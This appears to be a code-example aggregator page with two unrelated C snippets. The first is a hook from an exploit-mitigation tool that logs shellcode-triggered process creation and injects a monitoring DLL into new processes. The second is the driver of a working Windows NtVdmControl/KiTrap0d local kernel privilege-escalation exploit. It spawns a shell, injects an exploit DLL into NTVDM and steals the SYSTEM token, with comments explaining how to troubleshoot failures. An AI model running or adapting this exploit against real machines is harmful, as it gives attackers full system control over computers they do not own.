Пример #1
0
BOOL
WINAPI
HookedCreateProcessInternalW(
	HANDLE hToken,
	LPCWSTR lpApplicationName,
	LPWSTR lpCommandLine,
	LPSECURITY_ATTRIBUTES lpProcessAttributes,
	LPSECURITY_ATTRIBUTES lpThreadAttributes,
	BOOL bInheritHandles,
	DWORD dwCreationFlags,
	LPVOID lpEnvironment,
	LPCWSTR lpCurrentDirectory,
	LPSTARTUPINFOW lpStartupInfo,
	LPPROCESS_INFORMATION lpProcessInformation,
	PHANDLE hNewToken
	)
{
	BOOL bReturn;
	CHAR szDllFullPath[MAX_PATH];

	/* apply config rules if shellcode or ROP detected */
	if ( DbgGetShellcodeFlag() == MCEDP_STATUS_SHELLCODE_FLAG_SET || DbgGetRopFlag() == MCEDP_STATUS_ROP_FLAG_SET )
	{
		if ( MCEDP_REGCONFIG.SHELLCODE.ANALYSIS_SHELLCODE )
		{
			CHAR *szApplicationNameA = (CHAR *)LocalAlloc(LMEM_ZEROINIT, 1024);
			CHAR *szCommandLineA     = (CHAR *)LocalAlloc(LMEM_ZEROINIT, 1024);
			PXMLNODE XmlLogNode;
			PXMLNODE XmlIDLogNode;

			if ( lpApplicationName != NULL )
				wcstombs( szApplicationNameA, lpApplicationName, 1024);

			if ( lpCommandLine != NULL )
				wcstombs( szCommandLineA, lpCommandLine, 1024);

			XmlIDLogNode = mxmlNewElement( XmlShellcode, "row");
			/* type */
			XmlLogNode = mxmlNewElement( XmlIDLogNode, "type");
			mxmlNewText( XmlLogNode, 0, "1");
			/* exec */
			XmlLogNode = mxmlNewElement( XmlIDLogNode, "exec_process");
			mxmlNewText( XmlLogNode, 0, szApplicationNameA);
			XmlLogNode = mxmlNewElement( XmlIDLogNode, "exec_cmd");
			mxmlNewText( XmlLogNode, 0, szCommandLineA);
			/* save */
			SaveXml( XmlLog );

			LocalFree(szApplicationNameA);
			LocalFree(szCommandLineA);
		}

        /* if malware execution is not allowd then terminate the process */
		if ( MCEDP_REGCONFIG.GENERAL.ALLOW_MALWARE_EXEC == FALSE )
			TerminateProcess(GetCurrentProcess(), STATUS_ACCESS_VIOLATION);

        /* let the malware execute */
		return (CreateProcessInternalW_( hToken, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation, hNewToken));
	}
	
	/* if the process is creating with CREATE_SUSPENDED flag, let it do its job */
	if ( IsBitSet(dwCreationFlags, 2) )
	{
		bReturn = CreateProcessInternalW_( hToken, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation, hNewToken);

		if ( bReturn != FALSE )
		{
           
			strncpy( szDllFullPath, MCEDP_REGCONFIG.MCEDP_MODULE_PATH, MAX_PATH );
			if ( InjectDLLIntoProcess( szDllFullPath, lpProcessInformation->hProcess ) != MCEDP_STATUS_SUCCESS )
			{
				DEBUG_PRINTF(LDBG, NULL, "Module failed to inject itself into newly created process , PID : %d\n", lpProcessInformation->dwProcessId);
				return bReturn;
			}

			DEBUG_PRINTF(LDBG, NULL, "Module injected itself into newly created process , PID : %d\n", lpProcessInformation->dwProcessId);
			/* Sleep for INIT_WAIT_TIME sec and let MCEDP init itself in newly created process
			   TODO : use a messaging mechanism and resume process after init finished instead of sleeping! */
			Sleep(INIT_WAIT_TIME);
			return bReturn;
		}
	} 
	else
	{
		/* if the process is not creating with CREATE_SUSPENDED flag, force it do it */
		bReturn = CreateProcessInternalW_( hToken, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags | CREATE_SUSPENDED , lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation, hNewToken);
		
		if ( bReturn != FALSE )
		{
             /* TODO : We dont need this if ther process is already added into Protection List in registry, so we should remove this lines  */
			strncpy( szDllFullPath, MCEDP_REGCONFIG.MCEDP_MODULE_PATH, MAX_PATH );
			if ( InjectDLLIntoProcess( szDllFullPath, lpProcessInformation->hProcess ) != MCEDP_STATUS_SUCCESS )
			{
				DEBUG_PRINTF(LDBG, NULL, "Module failed to inject itself into newly created process , PID : %d\n", lpProcessInformation->dwProcessId);
				ResumeThread(lpProcessInformation->hThread);
				return bReturn;
			}

			DEBUG_PRINTF(LDBG, NULL, "Module injected itself into newly created process , PID : %d\n", lpProcessInformation->dwProcessId);
			/* Sleep for INIT_WAIT_TIME sec and let MCEDP init itself in newly created process
			   TODO : use a messaging mechanism and resume process after init finished instead of sleeping! */
			Sleep(INIT_WAIT_TIME);
			ResumeThread(lpProcessInformation->hThread);
			return bReturn;
		}
	}

	return bReturn;
}
Пример #2
0
int main(int argc, char **argv)
{
    HANDLE VdmHandle;
    HANDLE RemoteThread;
    DWORD ShellPid;
    DWORD ThreadCode;
    DWORD KernelBase;
    CHAR Buf[32];
    char * tempdir;
    char * dllpath;
    char * sysroot;
    char * debugpath;
    char * cmdpath;
    DWORD Offset;
    PCHAR Command;
    LogMessage(L_INFO,
               "\r"
               "--------------------------------------------------\n"
               "Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit\n"
               "-------------------------------------------- [email protected] ---\n"
               "\n"
              );

    // Create paths for vdmexploit.dll, cmd.exe and debug.exe
    tempdir = getenv("TEMP");
    dllpath = malloc(strlen(tempdir) + 20); // I like some extra space :)
    strcpy(dllpath,tempdir);
    strcat(dllpath,"\\VDMEXPLOIT.DLL");

    sysroot = getenv("SYSTEMROOT");
    debugpath = malloc(strlen(sysroot) + 30);
    strcpy(debugpath,sysroot);
    strcat(debugpath,"\\SYSTEM32\\DEBUG.EXE");

    cmdpath = malloc(strlen(sysroot) + 30);
    strcpy(cmdpath,sysroot);
    strcat(cmdpath,"\\SYSTEM32\\CMD.EXE");

    // Spawn the process to be elevated to SYSTEM.
    LogMessage(L_INFO, "Spawning a shell to give SYSTEM token (do not close it)");

    if (argc > 1) {
        Command = (PCHAR)argv[1];
    } else {
        Command = NULL;
    }

    if (PrepareProcessForSystemToken(cmdpath, Command, &ShellPid) != TRUE) {
        LogMessage(L_ERROR, "PrepareProcessForSystemToken() returned failure");
        goto finished;
    }

    // Scan kernel image for the required code sequence, and find the base address.
    if (ScanForCodeSignature(&KernelBase, &Offset) == FALSE) {
        LogMessage(L_ERROR, "ScanForCodeSignature() returned failure");
        goto finished;
    }

    // Pass the parameters required by exploit thread to NTVDM.
    SetEnvironmentVariable("VDM_TARGET_PID", (sprintf(Buf, "%#x", ShellPid), Buf));
    SetEnvironmentVariable("VDM_TARGET_KRN", (sprintf(Buf, "%#x", KernelBase), Buf));
    SetEnvironmentVariable("VDM_TARGET_OFF", (sprintf(Buf, "%#x", Offset), Buf));

    // Invoke the NTVDM subsystem, by launching any MS-DOS executable.
    LogMessage(L_INFO, "Starting the NTVDM subsystem by launching MS-DOS executable");

    if (SpawnNTVDMAndGetUsefulAccess(debugpath, &VdmHandle) == FALSE) {
        LogMessage(L_ERROR, "SpawnNTVDMAndGetUsefulAccess() returned failure");
        goto finished;
    }

    // Start the exploit thread in the NTVDM process.
    LogMessage(L_DEBUG, "Injecting the exploit thread into NTVDM subsystem @%#x", VdmHandle);

    if (InjectDLLIntoProcess(dllpath, VdmHandle, &RemoteThread) == FALSE) {
        LogMessage(L_ERROR, "InjectDLLIntoProcess() returned failure");
        goto finished;
    }

    // Wait for the thread to complete
    LogMessage(L_DEBUG, "WaitForSingleObject(%#x, INFINITE);", RemoteThread);

    WaitForSingleObject(RemoteThread, INFINITE);

    // I pass some information back via the exit code to indicate what happened.
    GetExitCodeThread(RemoteThread, &ThreadCode);

    LogMessage(L_DEBUG, "GetExitCodeThread(%#x, %p); => %#x", RemoteThread, &ThreadCode, ThreadCode);

    switch (ThreadCode) {
    case 'VTIB':
        // A data structure supplied to the kernel called VDM_TIB has to have a `size` field that
        // matches what the kernel expects.
        // Try running `kd -kl -c 'uf nt!VdmpGetVdmTib;q'` and looking for the size comparison.
        LogMessage(L_ERROR, "The exploit thread was unable to find the size of the VDM_TIB structure");
        break;
    case 'NTAV':
        // NtAllocateVirtualMemory() can usually be used to map the NULL page, which NtVdmControl()
        // expects to be present.
        // The exploit thread reports it didn't work.
        LogMessage(L_ERROR, "The exploit thread was unable to map the virtual 8086 address space");
        break;
    case 'VDMC':
        // NtVdmControl() must be initialised before you can begin vm86 execution, but it failed.
        // It's entirely undocumented, so you'll have to use kd to step through it and find out why
        // it's failing.
        LogMessage(L_ERROR, "The exploit thread reports NtVdmControl() failed");
        break;
    case 'LPID':
        // This exploit will try to transplant the token from PsInitialSystemProcess on to an
        // unprivileged process owned by you.
        // PsLookupProcessByProcessId() failed when trying to find your process.
        LogMessage(L_ERROR, "The exploit thread reports that PsLookupProcessByProcessId() failed");
        break;
    case FALSE:
        // This probably means LoadLibrary() failed, perhaps the exploit dll could not be found?
        // Verify the vdmexploit.dll file exists, is readable and is in a suitable location.
        LogMessage(L_ERROR, "The exploit thread was unable to load the injected dll");
        break;
    case 'w00t':
        // This means the exploit payload was executed at ring0 and succeeded.
        LogMessage(L_INFO, "The exploit thread reports exploitation was successful");
        LogMessage(L_INFO, "w00t! You can now use the shell opened earlier");
        break;
    default:
        // Unknown error. Sorry, you're on your own.
        LogMessage(L_ERROR, "The exploit thread returned an unexpected error, %#x", ThreadCode);
        break;
    }

    TerminateProcess(VdmHandle, 0);
    CloseHandle(VdmHandle);
    CloseHandle(RemoteThread);

finished:
    // LogMessage(L_INFO, "Press any key to exit...");
    // getch();
    return 0;
}